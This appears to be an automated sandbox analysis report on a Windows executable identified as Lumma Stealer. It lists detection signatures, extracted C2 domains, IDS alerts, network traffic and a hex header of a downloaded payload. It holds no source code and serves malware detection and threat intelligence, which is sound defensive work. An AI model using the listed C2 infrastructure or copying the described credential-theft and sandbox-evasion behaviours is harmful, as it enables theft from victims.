Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557365
MD5:	1eb8c694c08ad5e6a7554d954ce3b7df
SHA1:	76ed2916a8b9efe93b8b2e5cc29d232b6e5b8b93
SHA256:	2587bee40a1bc2b122d521a5068a01b7a02b13333da8b164874a93165e2b603f
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4148 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1EB8C694C08AD5E6A7554D954CE3B7DF)

chrome.exe (PID: 5660 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4092 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2424,i,884353418751019173,15853487047118889695,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1212 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6184 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2000,i,7734462183592480493,604898000580889304,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["3xp3cts1aim.sbs", "p3ar11fter.sbs", "processhol.sbs", "peepburry828.sbs", "p10tgrace.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2214549451.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4148	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 4148	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4148	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T05:57:05.982014+0100	2028371	3	Unknown Traffic	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-18T05:57:07.215542+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-18T05:57:09.147038+0100	2028371	3	Unknown Traffic	192.168.2.6	49712	188.114.97.3	443	TCP
2024-11-18T05:57:10.612836+0100	2028371	3	Unknown Traffic	192.168.2.6	49713	188.114.97.3	443	TCP
2024-11-18T05:57:12.124493+0100	2028371	3	Unknown Traffic	192.168.2.6	49714	188.114.97.3	443	TCP
2024-11-18T05:57:14.168764+0100	2028371	3	Unknown Traffic	192.168.2.6	49716	188.114.97.3	443	TCP
2024-11-18T05:57:16.251335+0100	2028371	3	Unknown Traffic	192.168.2.6	49722	188.114.97.3	443	TCP
2024-11-18T05:57:48.884520+0100	2028371	3	Unknown Traffic	192.168.2.6	60430	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T05:57:06.531339+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-18T05:57:08.070312+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-18T05:57:49.393264+0100	2054653	1	A Network Trojan was detected	192.168.2.6	60430	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T05:57:06.531339+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49709	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T05:57:08.070312+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49710	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T05:57:50.315041+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	60438	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T05:57:14.955468+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49716	188.114.97.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2653900367.0000000008720000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49716 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:60430 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs

Source: global traffic

TCP traffic: 192.168.2.6:60347 -> 162.159.36.2:53

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 04:57:50 GMTContent-Type: application/octet-streamContent-Length: 2862592Last-Modified: Mon, 18 Nov 2024 04:29:52 GMTConnection: keep-aliveETag: "673ac2c0-2bae00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2c 00 00 04 00 00 a0 f0 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 69 7a 72 76 7a 62 63 00 60 2b 00 00 a0 00 00 00 4e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 76 63 61 66 78 68 6a 00 20 00 00 00 00 2c 00 00 04 00 00 00 88 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2c 00 00 22 00 00 00 8c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.42 13.107.246.42
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49714 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49722 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49712 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49713 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49716 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:60430 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:60438 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=vtm5gLb8E1KD5w7&MD=SUus2VlZ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
